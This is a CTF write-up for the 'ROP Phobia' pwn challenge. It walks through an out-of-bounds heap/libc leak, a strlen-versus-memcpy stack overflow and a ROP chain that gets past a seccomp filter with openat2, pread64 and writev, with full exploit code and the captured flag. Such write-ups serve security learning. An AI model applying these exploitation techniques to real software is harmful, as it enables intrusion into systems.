ROP Phobia 500
I know, I know everyone has their own fears. Check if you have ROP Phobia or not? If so, overcome it :)
Connection: nc pwn1.blitzhack.xyz 1337
Author: 0x1337
Team: Weak But Leet
Attachment: public.zip xpl.py
Enter student name: a
Enter student major: b
1. Add Courses
2. Show Details
3. Remove Course
4. View Course
5. Submit Project
6. Exit
> Looks like your usual note challenge at first, but as the name suggests, it’s a rop challenge and that will be happening in Submit Project.
undefined8 submit(Student *students)
{
ptrbuf = buf;
courses_count = size(students.courses);
if (courses_count == 0) {
std::cout << "No course registered" << std::endl;
}
else {
found_pwning = 0;
for (i = 0; i < courses_count; i++) {
if(strstr(students.courses[i].c_str(),"PWNING1337"))
found_pwning = 1;
break;
}
}
if (found_pwning == 1) {
std::cout<<"Feedback for this project: "<<std::endl;
cin(&ptrbuf);
setup_filter();
}
else {
std::cout<<"You didn\'t register for this course!\n";
}
}
return 1;
}So, to be able to give feedback in the first place, we’ll need to have added a course named PWNING1337.
void cin(char **param_1)
{
...
getsline(&input, &read_size);
len_input = strlen(input);
if (len_input < 0x409) {
memcpy(*param_1,input,read_size);
}
return;
}In cin the challenge reads the input via getsline and stores the data in input and the number of read bytes in read_size.
It then checks the length of our input via strlen and only copies it into the stack buffer, it it’s not longer than 0x408 bytes.
But memcpy then uses read_size from getsline to copy the data…
Since strlen will stop at the first null-byte in the string, but read_size will contain the real length of our input, we can craft a payload with for example A * 0x408, add a null-byte and then add more characters to it.
strlen will then return 0x408 but memcpy will copy all the bytes after the null-byte also, resulting in a buffer overflow. With this we can start a ropchain. But since PIE and ASLR is active, we don’t know any gadgets by now.
For this we have to abuse the course system a bit to get some leaks.
payload1 = b"A"*0x20
r.sendlineafter(b"name: ", payload1)
r.sendlineafter(b"major: ", payload1)
r.recvuntil(b"> ")
add(b"PWNING1337") # 0
HEAPLEAK = u64(view(-1)[:-1].ljust(8, b"\x00"))
HEAPBASE = HEAPLEAK - 0x11ee0
log.info(f"LEAK: {hex(HEAPLEAK)}")
log.info(f"HEAP BASE: {hex(HEAPBASE)}")Since the View Course function doesn’t check the length of the courses vector, we can read oob, and at index -1 we can directly leak a heap address.
Knowing the base of the heap, we can now create a big string and free it (so it doesn’t go into fastbins), by creating a course and removing it.
payload = b"X"*(0x20-8-8)
payload += p64(HEAPBASE + 0x127f0)
add(payload) # 1
payload = p64(HEAPBASE + 0x127f0) * ((int)(0x610/8))
add(payload) # 2
free(2)
LIBCLEAK = u64(view(3)[:-1].ljust(8, b"\x00"))
libc.address = LIBCLEAK - 0x3ebca0
log.info(f"LIBC LEAK: {hex(LIBCLEAK)}")
log.info(f"LIBC BASE: {hex(libc.address)}")Just sprayed the heap with the address of the later freed course, so that we can now leak the main_arena pointer from the freed string by viewing course 3.
With a libc leak, we should now have more than enough gadgets.
But, after reading our input, the binary also registers some seccomp rules, we need to get around.
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x1b 0xc000003e if (A != ARCH_X86_64) goto 0029
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x18 0xffffffff if (A != 0xffffffff) goto 0029
0005: 0x15 0x17 0x00 0x00000000 if (A == read) goto 0029
0006: 0x15 0x16 0x00 0x00000001 if (A == write) goto 0029
0007: 0x15 0x15 0x00 0x00000002 if (A == open) goto 0029
0008: 0x15 0x14 0x00 0x00000003 if (A == close) goto 0029
0009: 0x15 0x13 0x00 0x00000009 if (A == mmap) goto 0029
0010: 0x15 0x12 0x00 0x0000000a if (A == mprotect) goto 0029
0011: 0x15 0x11 0x00 0x0000000b if (A == munmap) goto 0029
0012: 0x15 0x10 0x00 0x00000012 if (A == pwrite64) goto 0029
0013: 0x15 0x0f 0x00 0x00000013 if (A == readv) goto 0029
0014: 0x15 0x0e 0x00 0x00000028 if (A == sendfile) goto 0029
0015: 0x15 0x0d 0x00 0x00000038 if (A == clone) goto 0029
0016: 0x15 0x0c 0x00 0x00000039 if (A == fork) goto 0029
0017: 0x15 0x0b 0x00 0x0000003a if (A == vfork) goto 0029
0018: 0x15 0x0a 0x00 0x0000003b if (A == execve) goto 0029
0019: 0x15 0x09 0x00 0x0000003e if (A == kill) goto 0029
0020: 0x15 0x08 0x00 0x00000101 if (A == openat) goto 0029
0021: 0x15 0x07 0x00 0x00000127 if (A == preadv) goto 0029
0022: 0x15 0x06 0x00 0x00000128 if (A == pwritev) goto 0029
0023: 0x15 0x05 0x00 0x00000136 if (A == process_vm_readv) goto 0029
0024: 0x15 0x04 0x00 0x00000137 if (A == process_vm_writev) goto 0029
0025: 0x15 0x03 0x00 0x00000142 if (A == execveat) goto 0029
0026: 0x15 0x02 0x00 0x00000147 if (A == preadv2) goto 0029
0027: 0x15 0x01 0x00 0x00000148 if (A == pwritev2) goto 0029
0028: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0029: 0x06 0x00 0x00 0x00000000 return KILLLike in shellphobia most of the useful “default” syscalls are blocked (and architecture is checked this time).
But it’s not as strict as in shellphobia making the flag extraction a lot easier from this point on.
openat2
pread64
writevare not blocked, and that’s all we need.
add(b"../flag")
add(p64(HEAPBASE + 0x120f0) + p64(100)) # iovec_ptr
POPRAX = libc.address + 0x1b500
POPRDI = libc.address + 0x2164f
POPRDXRSI = libc.address + 0x130539
SYSCALL = libc.address + 0xd2625
POPR10 = libc.address + 0x130515First, we calculate the needed gadgets, and put the flag filename on the heap and prepare an iovec_ptr for writev, which will point to the buffer, where we’ll later read the flag into.
def syscall(num, rdi, rsi, rdx, r10):
res = b""
res += p64(POPRAX)
res += p64(num)
res += p64(POPRDI)
res += p64(rdi)
res += p64(POPRDXRSI)
res += p64(rdx)
res += p64(rsi)
res += p64(POPR10)
res += p64(r10)
res += p64(SYSCALL)
return res
payload = b"A"*1031 + b"\x00"
payload += b"B"*40
payload += p64(0xfacebabe)
# openat2(AT_FDCWD, HEAPBASE + 0x120f0, HEAPBASE + 0x500, 24, 0)
payload += syscall(0x1b5, 0xffffff9c, HEAPBASE + 0x120f0, HEAPBASE + 0x500, 24)
# pread64(5, HEAPBASE + 0x120f0, 100, 0)
payload += syscall(17, 5, HEAPBASE + 0x120f0, 100, 0)
# writev(stdout, iovec_ptr, 1)
payload += syscall(20, 1, HEAPBASE + 0x127f0, 1, 0)
r.sendline(b"5")
r.recvline()
r.sendline(payload)Now we’ll just open the file via openat2 by pointing pathname to the ../flag string we put on the heap. Then we can read the flag via pread64, which works pretty much like read.
writev needs some more preparation, since we need to pass it a pointer to an iovec struct, which contains the addresses of the buffers to write. For that we already created a course, which contains a valid iovecstruct, so we can just use that.
$ python3 xpl.py 1
[*] '/home/kileak/ctf/blitz25/ropphobia_work/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to pwn1.blitzhack.xyz on port 1337: Done
[*] LEAK: 0x563ae9bf6ee0
[*] HEAP BASE: 0x563ae9be5000
[*] LIBC LEAK: 0x7f76de469ca0
[*] LIBC BASE: 0x7f76de07e000
[*] Switching to interactive mode
Blitz{sup3r_r0p_r0p_r0p_368e514668d61}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[*] Got EOF while reading in interactive
$